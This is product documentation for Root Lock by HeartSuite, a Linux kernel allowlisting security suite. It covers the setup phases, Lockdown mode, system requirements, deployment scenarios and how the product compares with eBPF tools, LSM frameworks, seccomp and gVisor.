This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

Root Lock by HeartSuite Documentation

Complete guide for installing and configuring Root Lock by HeartSuite security suite.

Root Lock by HeartSuite | Humans in Command


Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel level — per program, not per user. In Lockdown, anything not on the allowlist — including malware running as root — is blocked before it can act. The immutable seal refuses any change to the allowlist while running, including by root. Undoing Lockdown requires a reboot with physical access. See Mode Switching and Lockdown for the activation prep (per-panel actions/opt-outs including [g] tool restriction, read-only inventory) and mechanism. The Dashboard guides you through a 7-phase setup journey, from system verification to Lockdown activation.

Root Lock by HeartSuite supports two paths: Cloud (pre-installed on AWS, Google Cloud, Azure, DigitalOcean, Linode, and other providers — the Dashboard appears on first login) and Local (manual installation with a guided setup across several reboots). Both paths converge at the Dashboard after Phase 1 (System Verification).

Root Lock by HeartSuite is a strong fit for production servers, regulated workstations, build and CI infrastructure, and AI agent sandboxes. Containers fit as OCI images built and run off-host — see the container reference architecture. Hosts that run a shared-kernel container runtime (Docker, containerd, Podman) or eBPF-based tooling locally require the maintenance kernel: the HeartSuite kernel is deliberately built without overlay filesystems, user namespaces, and the BPF syscall because those are the privilege-escalation primitives that supply the attack surface, path to root, and bypass vectors the design removes.

Introduction and concepts

Get started

Start with Quick Start — it covers both paths (Cloud and Local) and links each step in order: prerequisites, download, install, verify, and allowlist.

The pages below are the individual steps, linked from Quick Start:

Use and manage

  • Network and Remote Access — Configure network permissions.
  • Script Launchers — Secure interpreted script execution.
  • Alert Settings — Set up push notifications for blocks and state changes (Phase 6, required for Lockdown).
  • SIEM and Fleet Integration — Connect to Splunk, Elastic, PagerDuty, and other tools at fleet scale (syslog, webhook, status JSON). The recommended path for teams that do not want per-host TUI toil for routine monitoring.
  • Central Policy Management and External Control — Drive allowlist policy from Ansible, Terraform, ServiceNow, GitOps, and custom automation. Consume status.json, JSONL approval logs, syslog streams, and webhooks for central visibility. The scale path for enterprises that own policy in their own control planes.
  • Maintenance — Protecting during maintenance, file backup and versioning, and cache adjustment.

Troubleshoot and reference

Subscription and support

Ready to get started?

Already have a subscription? Follow the Quick Start — the Dashboard guides you from there.

Evaluating? Cloud instances and the Local Path package are available at heartsecsuite.com.

Also in this documentation

  • HeartSuite Joint File System (HJFS) — Prototype filesystem-based security layer. Enforces path-level access control on standard unmodified kernels (ideal when the HeartSuite kernel’s deliberate removals of bypass primitives are not suitable). The HeartSuite kernel provides the stronger execution + network layer on supported systems.

About this Documentation: Covers Root Lock by HeartSuite v1.6.4.

1 - Introduction and Overview

Overview of Root Lock by HeartSuite, setup process, and system requirements.

Root Lock by HeartSuite | Humans in Command


Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel level — per program, not per user. In Lockdown, any program not on the allowlist — including malware running as root — is blocked before it can execute. The immutable seal refuses any change to the allowlist while running, including by root. Undoing Lockdown requires a reboot with physical access. See Mode Switching and Lockdown for the activation prep (per-panel actions/opt-outs including [g] tool restriction, read-only inventory) and mechanism. The Dashboard guides you through a 7-phase journey from installation to Lockdown, always showing your current progress and the Suggested Next Step.

In this section

For detailed installation steps, see Installation. Root Lock by HeartSuite supports both Cloud (pre-installed) and Local (manual install) paths — both converge at the Dashboard after Phase 1 (System Verification).

1.1 - Root Lock by HeartSuite Overview

Core concepts and purpose of Root Lock by HeartSuite security suite.

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite controls all three — per program, not per user. Your SSH server and your web server both run as root; they still get different permissions because they are different programs. Any program not on the allowlist is blocked at the kernel before it can run or cause damage.

Kernel-level enforcement

Root Lock by HeartSuite uses a modified Linux kernel that enforces an allowlist-based security model. No program can execute without an allowlist entry — and each allowlist entry also controls which files the program can read or write, and which network connections it can make. Even if malware is downloaded to a Root Lock by HeartSuite server, the kernel prevents it from running or causing damage.

The Dashboard is the central interface. It tracks your progress through a 7-phase setup journey, shows what’s waiting for review, and always suggests the next step.

The 7 phases

PhaseNamePurpose
1System VerificationConfirm kernel and Dashboard are active
2Program AllowlistingReview and approve programs that need to run
3Script LaunchersConfigure interpreters for Python, Perl, PHP (if applicable)
4File Access AllowlistingReview and approve file read/write access for programs
5Internet Access AllowlistingReview and approve outbound internet connections
6Alert SettingsSet up notification channels (email, syslog, webhook)
7LockdownActivate Lockdown — locked until phases 2–6 are complete

Reduced kernel footprint

The security industry patches vulnerabilities one at a time. Root Lock by HeartSuite removes the features attackers rely on — by design.

Most malware escalates privilege by reaching for the same handful of kernel features: eBPF to hide processes, FUSE to redirect reads, overlay filesystems to shadow directories, userspace LSM frameworks (AppArmor, SMACK, Landlock) to pivot through, and unprivileged user namespaces to gain root without credentials.

The Root Lock by HeartSuite kernel is deliberately compiled without them. These primitives are the attack surface, path to root, and bypass vectors the allowlist model exists to close.

A stock Ubuntu kernel ships with over 6,600 loadable modules. The HeartSuite kernel ships with 13 — one config file you can read in an afternoon.

Detection tools like Falco, Cilium Tetragon, and bpftrace watch these features. Root Lock by HeartSuite removes them instead. Nothing to watch. Nothing to bypass. No agent to kill. No race against the attacker. For the layer comparison, see Kernel architecture.

Workloads needing the omitted primitives (on-host containers, local eBPF, rootless) are not a fit by design. See Deployment Scenarios for alternatives.

Features

1. Program Allowlist

An allowlist entry defines what a program is permitted to do — whether it can execute, which files it can read or write, and which network connections it can make. The Root Lock by HeartSuite kernel requires every program to have an allowlist entry before it is permitted to run.

The Dashboard review queues present pending items for approval:

  • Programs queue ([p]) — programs attempting to execute
  • File Access queue ([f]) — programs attempting to read or write files
  • Internet Access queue ([i]) — programs attempting outbound connections

Each queue manages volume through intelligent grouping — not blind bulk approval:

  • Individual review: Items shown one at a time with full metadata (package name, description, category, maintainer, install date)
  • Grouped review: Related items (e.g., “847 file reads from /usr/lib/python3/”) presented as a single group with a representative sample shown
  • Queue summary: An orientation view of total counts and a breakdown by program shown before reviewing begins

File access is divided into read access and write access. Write access always includes read access. These are approved separately — approving a file read grants read access; approving a file write upgrades to write access.

2. Setup Mode and Lockdown

Root Lock by HeartSuite operates in two modes:

  • Setup Mode: The kernel logs all program executions, file accesses, and network connections without blocking them. Use this mode to build the allowlist by reviewing queues and approving programs and their access patterns. The Dashboard guides this process.
  • Lockdown: The kernel enforces the allowlist. Programs without an allowlist entry are blocked. Programs that exceed their permissions are blocked.

Activating Lockdown requires all review queues to be empty, alerts to be configured, and an active subscription. The Dashboard presents a precondition checklist. Before the final confirmation, the prep shown during Lockdown activation offers actions and opt-outs (e.g. [u] undo auto-narrowed grants, [p] patch, [g] restrict rm/cp/mv, [x] exclude write conflicts). The inventory and summaries are read-only. It requires typing YES (case-sensitive) to confirm. See Mode Switching and Lockdown for full keys and flow.

3. Lockdown

Lockdown protects the integrity of allowlist entries by making them immutable. Once applied, no changes can be made to the allowlist while the server is running — preventing attackers from modifying the security configuration, even with root access.

After activating Lockdown, the Dashboard offers one reboot option: [r] Reboot — Lockdown active on next boot. Lockdown is engaged automatically on every HeartSuite kernel boot; no program or user, including root, can reverse it at runtime. To make changes, the Dashboard’s Maintenance ([m]) guides you through the correct maintenance path — including a guided 3-step process that boots the Non-HS kernel.

Because access permissions are enforced inside the Root Lock by HeartSuite kernel itself, Root Lock by HeartSuite cannot be circumvented by any program or user, including root, while the Root Lock by HeartSuite kernel is running.

4. File backup and versioning

Root Lock by HeartSuite automatically backs up files in designated directories and prevents all programs from accessing the backups — only Root Lock by HeartSuite itself can reach them. The version manager can restore any version of a backed-up file, regardless of whether it was encrypted, deleted, or modified.

Modern ransomware destroys backup systems before encrypting files — shadow copies and backup agents are typically the first targets. Root Lock by HeartSuite’s backups are not permission-protected: under Lockdown, the kernel itself blocks write access to backup files. No program, including root, can reach them.

The allowlist blocks most attacks at the kernel. When an approved program is compromised, a backup on every write means recovery starts from the moment before damage began — not the last scheduled snapshot.

5. Secure Script Launchers

Allowlist entries can be created for interpreted code such as Python, PHP, and Perl. Root Lock by HeartSuite provides Secure Script Launchers that identify the specific script being run when an interpreter is launched, enabling per-script access control with the same granularity as compiled programs.

Two setup paths

Cloud Path: Launch a pre-installed cloud instance. The Dashboard appears immediately and confirms Phase 1 is complete. Proceed directly to the review queues.

Local Path: Download from heartsecsuite.com, extract, install, and boot the Root Lock by HeartSuite kernel. The System Setup guides you through multiple setup steps with a step counter. Once the Dashboard confirms Phase 1 is complete, both paths merge.

How Root Lock by HeartSuite stands alone

No other product combines all three: enforcement that survives root compromise, standalone operation with no background process or vendor console, and a backup on every file write — not on a schedule, on every write. Each exists separately in other products. Together, they make Root Lock by HeartSuite the right choice for deployments where the security layer itself must be protected from the attacker who is already inside. The allowlist is sealed — immutable on disk, refused at runtime by the kernel itself: no program or user, including root, can modify it while the machine is running. The backup files are protected by the Root Lock by HeartSuite kernel itself, not by filesystem permissions.

Is Root Lock by HeartSuite right for you?

Root Lock by HeartSuite is a strong fit for production servers, closed appliances, regulated workstations, build and CI infrastructure, and AI agent sandboxes. Containers fit as OCI images built and run off-host; running a shared-kernel container runtime directly on a host running the HeartSuite kernel is not a fit by design — the kernel omits the overlay and user-namespace primitives that would reintroduce the attack surface the allowlist model exists to close. Hosts where eBPF-based tooling must run locally require the maintenance kernel for the same reason: the BPF syscall and verifier are deliberately absent. See Deployment Scenarios for a full breakdown.

If you already run Falco, AppArmor, gVisor, or a Linux EDR agent — or a SIEM, NDR platform, or vulnerability scanner — see How Root Lock by HeartSuite Compares to understand which tools Root Lock by HeartSuite replaces, which it runs alongside, how it can be circumvented, and how the operational cost compares to SELinux, EDR, and tools like Zafran — including what changes for patching urgency and alert volume.

To get Root Lock by HeartSuite: launch a pre-installed cloud instance or download the Local Path package from heartsecsuite.com. Both arrive at the Dashboard — Getting Started covers the rest.

1.2 - The Setup Journey

How Root Lock by HeartSuite guides you from installation to Lockdown through seven phases.

Overview: Root Lock by HeartSuite must complete a guided setup journey in Setup Mode before it can enforce security in Lockdown.

Why Setup Mode is necessary

Root Lock by HeartSuite enforces a default-deny policy: every program must be explicitly approved to execute, to access files, and to make network connections — including programs running as root. Immediately after installation, the allowlist is empty. If the system activated Lockdown at this point, it would block the programs required for boot and shutdown, rendering the system inoperable.

Setup Mode solves this problem. In Setup Mode, Root Lock by HeartSuite logs all activity without blocking anything. You review activity through the Dashboard queues, approve programs and their access, and build an allowlist that reflects the system’s actual workload. Once the allowlist is complete, you activate Lockdown.

Setup Mode is the default after installation. Root Lock by HeartSuite’s automated backup also operates during Setup Mode, capturing versions of protected directories so files can be restored even before Lockdown is active.

The 7 phases

Root Lock by HeartSuite organizes the setup journey into seven phases. The Dashboard tracks progress through each phase and always displays a Suggested Next Step.

PhaseNameDescription
1System VerificationConfirms the Root Lock by HeartSuite kernel is active and the system is in Setup Mode. Auto-completes on Cloud instances.
2Program AllowlistingReview and approve programs detected during observation from the Dashboard’s Programs queue ([p]).
3Script LaunchersConfigure Secure Script Launchers for interpreted scripts from the Dashboard’s Launchers ([s]), if applicable.
4File Access AllowlistingReview and approve file reads and writes from the Dashboard’s File Access queue ([f]).
5Internet Access AllowlistingReview and approve internet connections from the Dashboard’s Internet Access queue ([i]).
6Alert SettingsConfigure at least one push channel (email, syslog, or webhook) from the Dashboard’s Alert Settings ([e]).
7LockdownLocked until phases 2 through 6 are complete. Activate via the Dashboard’s Lockdown button ([l]): prep shows checklist + per-panel actions/opt-outs (e.g. [u] undo, [p]/[g]/[x]), inventory read-only, then type YES (case-sensitive).

Cloud vs. Local Path

Cloud Path

Users who launch a pre-installed Root Lock by HeartSuite cloud instance (AWS AMI, GCP image) boot directly into Setup Mode. The Dashboard confirms Phase 1 is complete. The Dashboard appears on first login with the current system state and a Suggested Next Step. No manual verification is required.

Local Path

Users who install Root Lock by HeartSuite on bare-metal or custom VMs follow a longer path:

  1. Download and extract the installation package.
  2. Prepare GRUB and install the Root Lock by HeartSuite kernel.
  3. Root Lock by HeartSuite reads the startup and shutdown logs automatically, rebooting between passes until all startup and shutdown programs are in the allowlist.
  4. After Phase 1 is complete, the Dashboard appears and the journey merges with the Cloud path.

Both paths converge at the Dashboard after Phase 1. From that point forward, the workflow is identical.

Dashboard after Phase 1: Phase 2 Program Allowlisting active, 3 programs pending review

From installation to Lockdown

The following diagram shows the path from installation to Lockdown, including the maintenance cycle.

graph TD
    A[Install Root Lock by HeartSuite] --> B{Cloud or Local?}
    B -- Cloud --> C[Boot instance — Dashboard confirms Phase 1 complete]
    B -- Local --> D["Boot setup runs automatically — reboots between passes"]
    D --> C
    C --> E[Dashboard appears — Suggested Next Step]
    E --> F["Phase 2: Programs queue — approve programs"]
    F --> G["Phase 3: Script Launchers — if applicable"]
    G --> H["Phase 4: File Access queue — approve file access"]
    H --> I["Phase 5: Internet Access queue — approve connections"]
    I --> J["Phase 6: Configure alerts"]
    J --> K["Phase 7: Activate Lockdown"]
    K --> L["[r] Reboot — Lockdown active on next boot"]
    L --> M{Maintenance needed?}
    M -- Yes --> N["Maintenance guides through steps"]
    N --> K
    M -- No --> O[System secured]

Activating Lockdown

When phases 2 through 6 are complete, the Dashboard unlocks Phase 7. The Suggested Next Step will prompt you to activate Lockdown. Activating Lockdown requires typing YES (case-sensitive) to confirm and displays an allowlist summary and precondition checklist before proceeding. Before confirmation, the prep shown during Lockdown activation offers actions and opt-outs (e.g. [u] undo grants, [p] patch, [g] restrict tools from observed usage, [x] exclude — see Mode Switching and Lockdown for details). The inventory is read-only.

After activating Lockdown, the Dashboard offers one reboot option: [r] Reboot — Lockdown active on next boot. Lockdown is engaged automatically on every HeartSuite kernel boot.

Maintenance in Lockdown

To perform system maintenance after activating Lockdown, select Maintenance ([m]) from the Dashboard. The immutable seal is active by default — the Maintenance guides you through a 3-step process across two reboots: removing immutable flags on the maintenance kernel, making changes, then returning to the Root Lock by HeartSuite kernel to review new activity. The Dashboard resumes at the correct step after each reboot.

For full details, see Protecting During Maintenance.

1.3 - System Requirements

Hardware and software prerequisites for Root Lock by HeartSuite compatibility.

Overview: Root Lock by HeartSuite requires an x86 Linux system running a supported distribution. Debian, Ubuntu-derived, Alpine, and several RPM-based distributions are supported or validated; see the Distro Compatibility Matrix for tiers and versions. It ships with two Root Lock by HeartSuite kernels (5.19 legacy and 6.18 primary) and a set of tools that enforce allowlist-based security at the kernel level.

Supported platforms

ComponentSupported
Architecturex86 (64-bit)
DistributionsSee Distro Compatibility Matrix — validated: Debian 12/13, Ubuntu 24.04, Rocky 9.7, Fedora 41, CentOS Stream 9, Alpine 3.21; supported: Debian 11, Ubuntu-derived, Alpine 3.x; RPM enterprise (RHEL, AlmaLinux, SLES): customer validation
KernelsRoot Lock by HeartSuite kernel 5.19 (legacy), Root Lock by HeartSuite kernel 6.18 (primary)

Root Lock by HeartSuite supports Debian/Ubuntu-derived and Alpine distributions on x86, plus RPM-based distributions validated in the v1.6.4 release gate (Rocky 9.7, Fedora 41, CentOS Stream 9). Branded RHEL and AlmaLinux are RHEL-compatible — validate on your gold image before fleet Lockdown. Full tiers and notes: Distro Compatibility Matrix.

Kernel

Root Lock by HeartSuite is distributed with two Root Lock by HeartSuite kernels based on mainline Linux: 5.19 and 6.18. One of these kernels must be booted for Root Lock by HeartSuite to function. The Dashboard verifies kernel activation as part of Phase 1 (System Verification) and provides orientation on every boot.

Software compatibility notes

The HeartSuite kernel is deliberately built without several features attackers use for privilege escalation or to bypass controls (eBPF, FUSE, overlay, user namespaces, etc.). These are the attack surface the design removes. Software that needs them runs on the maintenance kernel or a separate system.

The HeartSuite kernel is installed alongside your existing kernel via GRUB — it does not replace it. Setup Mode reveals any compatibility issue before Lockdown enforces: programs that would fail in Lockdown appear in the Dashboard review queues during the observation period. Software not in the table below will run without modification.

Not available on the HeartSuite kernelAffects
eBPF program loading (CONFIG_BPF_SYSCALL)Cilium, Falco, Tetragon, Pixie, bpftrace, bcc, Tracee, and other eBPF-based observability and runtime-detection tools
FUSE (CONFIG_FUSE_FS)sshfs, s3fs, rclone mounts, NTFS-3G, AppImage, gocryptfs
Overlay filesystem (CONFIG_OVERLAY_FS)Standard-host installs: not enabled — overlay filesystems give attackers a path to shadow protected directories. Container-host installs: enabled (CONFIG_OVERLAY_FS=m) — Docker, containerd, Podman, and CRI-O use the overlay2 storage driver. See Deployment Scenarios → Container Hosts.
AppArmor, SMACK, Landlock (userspace LSM frameworks)Snap confinement, Ubuntu default profiles, LXD
Unprivileged user namespaces (CONFIG_USER_NS)Rootless containers
KVM (CONFIG_KVM)Running Root Lock by HeartSuite as a hypervisor host for virtual machines

The Root Lock by HeartSuite kernel itself can run as a guest inside KVM, VMware, or other hypervisors — only running virtual machines from within the Root Lock by HeartSuite kernel is unavailable.

These omissions are deliberate. Root Lock by HeartSuite replaces the runtime tools these primitives enable. See Reduced Kernel Footprint and Deployment Scenarios.

1.4 - Deployment Scenarios

Environments and workloads where Root Lock by HeartSuite’s kernel-level allowlisting fits best.

Overview: Root Lock by HeartSuite enforces a default-deny policy at the kernel level — each program must be explicitly approved to execute, to access files, and to make network connections, including malware running as root. In Setup Mode, the system logs everything it sees so you can review and approve it through the Dashboard queues; Lockdown then enforces what you approved. Patches, new tools, and evolving workloads are added the same way: open a maintenance window — reboot into Setup Mode, install or change what you need, review the new entries in the queues, then re-engage Lockdown. Nothing about this depends on cloud connectivity, a SaaS policy server, or an agent-to-console channel — Root Lock by HeartSuite operates standalone. The HeartSuite kernel is installed alongside your existing kernel via GRUB — you can boot back to it at any time, and Setup Mode surfaces compatibility issues before Lockdown enforces anything. The scenarios below are where that model fits best, followed by the ones where it doesn’t.

Production servers

A web server serves pages. A database answers queries. A reverse proxy forwards traffic. Each has a shape that Setup Mode captures over a few days of logging — the programs that run, the files they touch, the destinations they reach — which you then review and approve in the Dashboard queues before activating Lockdown. Patches, package upgrades, and new services follow the same path: open a maintenance window, install the changes in Setup Mode, approve the new entries, then re-engage Lockdown. The immutable seal goes one step further: while the server runs, even root can no longer change the allowlist. An attacker with root is left with nowhere to go.

CVE-2026-31431 — privilege escalation via AF_ALG — demonstrates what this means. An attacker exploiting it reaches root. On a Root Lock by HeartSuite kernel, that path does not exist — AF_ALG is not compiled in. But even if it had been, Lockdown closes every path from there. The kernel refuses to clear immutable flags. Mount operations are blocked. Writes to the audit log are blocked. Root cannot modify configuration, cannot add a backdoor, and cannot survive a reboot.

See Kernel Security Transparency for the full CVE status table and scanner guidance.

Closed appliances and embedded devices

A kiosk, a point-of-sale terminal, an industrial control gateway, a network appliance, a medical device, a defence endpoint — these systems don’t have interactive users. They have a job. The programs that do the job are fixed. An attacker’s first move is usually to introduce a new one, and Root Lock by HeartSuite blocks that move before it starts. Lockdown extends that protection so even root cannot quietly extend the allowlist while the system runs. File Backup is the recovery layer behind both. The kernel restricts the backup directory to HeartSuite’s own backup tooling — no other allowlisted program, however privileged, can read or overwrite it. So even if an approved program is compromised and corrupts a file, the previous versions remain intact and restorable from the Dashboard’s Backup.

Regulated workstations and analyst systems

In financial, legal, healthcare, and defence workplaces, a workstation’s toolchain is set by policy, not preference. The Dashboard includes review queues that let you approve each tool and add it to the allowlist. Only the tools you approve can execute — everything else is blocked.

In regulated industries — financial services, healthcare, defence — auditors ask a specific question: can an administrator, or an attacker who has compromised an administrator account, disable your security controls? With Lockdown active, the answer is no. No program or user inside the running Root Lock by HeartSuite kernel, including root, can modify the allowlist or disable enforcement. Disabling enforcement requires reaching the boot path itself: a keyboard and monitor on a physical machine, a serial console, or — on a virtual machine — the hypervisor that owns the guest’s disk image and memory. On VMs the hypervisor becomes the outer protective layer; Root Lock by HeartSuite protects everything inside. Platform controls that protect the boot path (measured boot, disk encryption with keys held by the platform, controlled hypervisor access) extend that protection upward. For environments subject to SOC 2, PCI DSS, HIPAA, or ISO 27001, that is a concrete answer to the privileged-access control question — and a clear specification of which controls remain the platform’s responsibility.

For managed security providers, this answer is the same for every HeartSuite-protected server they manage: under Lockdown, no administrator credential, no root session, and no remote path changes the security policy. Bypass requires physical presence. For the competitive comparison on this point, see How Root Lock by HeartSuite Compares.

Build, CI, and release infrastructure

A build host sits at the top of a supply chain. Compromise it, and every downstream consumer is at risk. CVE-2024-27198 — JetBrains TeamCity, unauthenticated RCE — demonstrates what this means. An attacker who reaches a TeamCity server can execute any program without credentials. On a Root Lock by HeartSuite build host, that program has no allowlist entry. The kernel refuses to run it.

A supply chain attacker who compromises the build pipeline itself — using its own credentials and tooling — does not introduce a new program; in the May 2026 TanStack incident, 84 malicious package versions across 42 packages were published in six minutes using valid pipeline credentials. The execution gate fires but does not block: the pipeline already has a valid allowlist entry. The attack is contained, not prevented at execution. The network allowlist still blocks: a compromised build tool cannot reach destinations outside its approved list, regardless of credential validity.

Root Lock by HeartSuite restricts the host to only approved programs, controlling which can execute, which files they can access, and which network connections they can make:

  • Compilers, linkers, signing tools, and release scripts you approved in Setup Mode.
  • Network destinations they need to fetch dependencies and publish build artifacts.

File Backup keeps versioned copies of signing keys and build output. The kernel restricts those copies to HeartSuite’s backup tooling — a compromised compiler, linker, or signing tool cannot read or overwrite them. So even if an approved tool is compromised, the previous versions remain intact and restorable from the Dashboard’s Backup.

Offline and air-gapped deployments

Some systems cannot assume the network is there. Industrial control networks, defence systems, classified environments, ships, aircraft, and recovery-of-last-resort servers either have no outbound connectivity or cannot be permitted to reach the internet at all. Root Lock by HeartSuite operates standalone — the allowlist lives on the machine, enforcement happens inside the kernel, and logs go to whichever local channel you configure. There is no telemetry upstream and no policy server to round-trip with. An offline Root Lock by HeartSuite system protects exactly the same way as an online one. Cloud-dependent EDRs degrade sharply in these environments; Root Lock by HeartSuite does not.

AI agent and automation sandboxes

Autonomous agents are powerful because they decide what to do next. That is also why they need a cage. Pwn2Own Berlin 2026 added an AI/ML tools category for the first time; every target fell. Run Root Lock by HeartSuite as the guest kernel inside a per-task virtual machine — a Kata Container, a Firecracker microVM, or plain KVM. You build the allowlist once: run a representative agent task in Setup Mode, review and approve the tools it uses through the Dashboard queues, then bake that allowlist into the VM image. Each task VM boots from that image into Lockdown with the allowlist already in force. The allowlist holds for the life of the task. Then the VM is gone. Enforcement is in the guest kernel itself — no LSM module to unload, no userspace shim to detach, no separate agent process to kill from inside the guest. gVisor adds a userspace syscall filter to protect the host from an untrusted guest; Root Lock by HeartSuite is the guest kernel, protecting the workload from an attacker who reaches root inside the VM.

Container hosts

Docker, containerd, Kubernetes, and CRI-O all run on a Root Lock by HeartSuite host. The installer detects which container engine is present and asks you to choose a Container host or Standard host install. Container host installs include overlay filesystem support and Setup Mode behavior adapted for container runtimes — Setup Mode logs container-runtime programs, overlay mounts, and each container image intended to run under Lockdown so you can review and approve them in the Dashboard queues before activating Lockdown.

Lockdown seals the running container set — the kernel stops accepting new mount operations, including the overlay mounts and bind-mounts every container start requires. The same protection blocks attackers from constructing paths to shadow protected files. Containers running at the moment Lockdown engages continue running. New containers, image pulls, and restarts after exit each require a maintenance window — reboot to Setup Mode, start the containers, return to steady state, and re-engage Lockdown. The Dashboard shows mount-refusal messages from the kernel when a container engine tries to start a new container after Lockdown.

This is the right pattern for long-lived service containers, Kubernetes nodes with a stable pod set, and batch jobs that complete before Lockdown engages.

Where Root Lock by HeartSuite is not a fit

A few workloads are incompatible with the HeartSuite kernel as shipped — by design. The kernel omits overlay filesystems, user namespaces, and the BPF syscall because they are the attack surface, path to root, and bypass primitives the allowlist model removes.

  • Hosts requiring continuous container scheduling — dynamic deployments, autoscaling, and pod rescheduling after node loss each require new mount operations that Lockdown refuses. Container hosts with a steady-state workload are supported via the Container-host install above.
  • Hosts where eBPF-based tooling must run locally — Falco, Cilium, Tetragon, bpftrace, and similar tools require the BPF syscall, which is deliberately absent. These tools can still observe the HS host from adjacent infrastructure via network taps or log forwarding. For on-host forensics, use strace and /proc inspection.
  • Hypervisor hosts running virtual machines — Root Lock by HeartSuite protects workloads running inside a kernel; a hypervisor host runs the inverse model, granting trusted access to guest workloads it does not control. The HeartSuite kernel is built for the first case, not the second. KVM host mode — Root Lock by HeartSuite acting as the hypervisor — is not a supported configuration; the kernel features KVM requires have been compiled out. Root Lock by HeartSuite runs as a VM guest on KVM, cloud hypervisors, and other platforms, and provides kernel-level enforcement inside the guest — which is the deployment shape this product was designed for.
  • Systems that require rootless containers — unprivileged user-namespace creation is disabled by policy on the HeartSuite kernel; it is a common path to privilege escalation without credentials. Workloads requiring rootless containers should run on a separate host.
  • Applications that update daily or on an unpredictable schedule — each update that adds a new binary, dependency, or network destination requires a maintenance window: open Setup Mode, run the update, approve the new allowlist entries, and re-engage Lockdown. That process fits controlled patch schedules. At daily cadence the overhead is daily. Applications with a predictable update cycle are a better fit.

See System Requirements → Software Compatibility Notes for the full list.

Kubernetes-native runtime security, cross-platform endpoint protection across Windows and macOS, developer per-application sandboxing, and enterprise backup at fleet scale each have dedicated products built for them. Root Lock by HeartSuite is built for one thing: Linux systems where the security policy must survive a compromised root account.

1.5 - How Root Lock by HeartSuite Compares

How Root Lock by HeartSuite relates to other security tools — what it replaces, what it complements, and how it can be circumvented.

Overview: Root Lock by HeartSuite controls per program whether it can execute, which files it can read or write, and which network connections it can make — including for programs running as root. Standard operating systems grant these rights to users. Ken Thompson built Unix that way in 1969 on an unused PDP-7 at Bell Labs — designed for a small group of trusted researchers, not for networked infrastructure or a world with malware. Every operating system since inherited the decision unchanged. Root Lock by HeartSuite does not. It replaces a set of runtime-confinement and kernel-observability tools whose enforcement can be disabled by an attacker with root. It does not replace your SIEM, network detection, vulnerability scanner, or HIDS — those answer different questions and should be run alongside.

Kernel architecture

Standard LinuxRoot Lock by HeartSuite
Wide kernel + security agent watching itMinimal kernel — features removed at build time
BPF programs enforce blocking policyBPF syscall deliberately omitted — nothing to unload; closes the verifier attack surface
Kernel module driver provides telemetryNo agent module — no module to kill
OverlayFS and FUSE enabled for containersCompiled out — the CVE class disappears with them
Config file: 12,000+ lines, audited by toolingConfig file: 5,050 lines, readable by a person
Blocking depends on runtime configurationBlocking is compiled into the binary itself
graph TB
    Root(["Root attacker"])

    subgraph SL["Standard Linux — runtime layers"]
        EDR["EDR agent\nCrowdStrike · SentinelOne"]
        BPF["eBPF runtime\nFalco · Tetragon · Sysdig"]
        LSM["LSM hooks\nAppArmor · SELinux"]
        K["Kernel binary"]
        EDR --> BPF --> LSM --> K
    end

    subgraph HS["Root Lock by HeartSuite — compiled enforcement"]
        HSK["Kernel binary\nenforcement compiled in\nBPF syscall absent"]
    end

    Root -."kill".-> EDR
    Root -."unload".-> BPF
    Root -."set permissive".-> LSM
    Root -."no path".-> HSK

    style EDR fill:#fdd,stroke:#c44
    style BPF fill:#fdd,stroke:#c44
    style LSM fill:#fdd,stroke:#c44
    style K fill:#eee,stroke:#888
    style HSK fill:#d4f4dd,stroke:#2a7a40

Standard Linux security tools are runtime layers an attacker with root can reach and disable. Root Lock by HeartSuite compiles enforcement into the kernel binary itself — the BPF syscall is absent, so there is no eBPF layer to unload, no agent to kill.

Every published Linux kernel CVE comes with the same question: is that kernel feature compiled into your hosts? For the features Root Lock by HeartSuite has compiled out, the answer is always no — without patching, without policy, without an agent checking.

Most runtime security products sit at Layer 3 (LSM hooks such as SELinux and AppArmor) or Layer 5 (userspace EDR agents such as CrowdStrike Falcon and SentinelOne). Root Lock by HeartSuite sits at Layer 2: enforcement is compiled into the kernel binary itself, not applied to it from outside. That placement is why every bypass in the table below requires physical presence rather than a remote privilege escalation. For the full taxonomy with all products mapped by layer, see Layer Analysis.

Security as economics

For an analysis of attacker cost, defender operational cost, and ROI comparison against SELinux, EDR, Zafran, and CTEM programs, see Security as Economics.

What Root Lock by HeartSuite replaces

The comparison below is scoped to preventive enforcement; telemetry, behavioural analytics, and incident response are addressed separately in What Root Lock by HeartSuite Complements. These products provide runtime confinement or kernel-level enforcement of some kind. Each has a known bypass path. The Root Lock by HeartSuite row is included in the same format for direct comparison — see Circumvention and Recovery below for detail.

ProductWhat it doesHow it can be disabledHow Root Lock by HeartSuite compares
Falco, Cilium Tetragon, Sysdig Secure, Tracee, bpftrace (eBPF-based runtime detection)Attach BPF programs to kernel hooks, watch syscall patterns, alert on suspicious behaviourAn attacker with root can unload the BPF program, kill the agent, or disable the BPF syscallRoot Lock by HeartSuite removes the BPF syscall entirely from the kernel. There is no agent to kill and no hook to unload. Enforcement is compiled in.
AppArmor, SELinux, SMACK, Landlock (userspace LSM frameworks)Per-process MAC profiles limiting filesystem and capability accessRoot with the right capability can set SELinux to permissive, unload an AppArmor profile, or modify the policy fileRoot Lock by HeartSuite’s allowlist is stored in configuration files made immutable under Lockdown, and the Root Lock by HeartSuite kernel will not let any program change them while it’s running. Even root cannot edit it.
seccomp-bpf sandboxes (systemd services, browser sandboxes, bubblewrap, firejail)Per-process syscall filters set by the process itself or its parentA parent with equivalent privilege can spawn the same binary without the filter. Filters are scoped to a process tree, not to the program identityRoot Lock by HeartSuite gates by program identity, not process lineage. A program’s allowlist applies every time it runs, regardless of who spawned it.
gVisor (userspace kernel for container sandboxing)Intercepts container syscalls in a userspace kernel, reducing exposure to the host kernelRuns as a userspace process; a compromise of the gVisor process itself, or a bug in its syscall emulation, can allow escapeRoot Lock by HeartSuite is the kernel — one layer instead of two, with nothing to unload. Used as a guest kernel inside a microVM, it provides kernel-level enforcement for the workload.
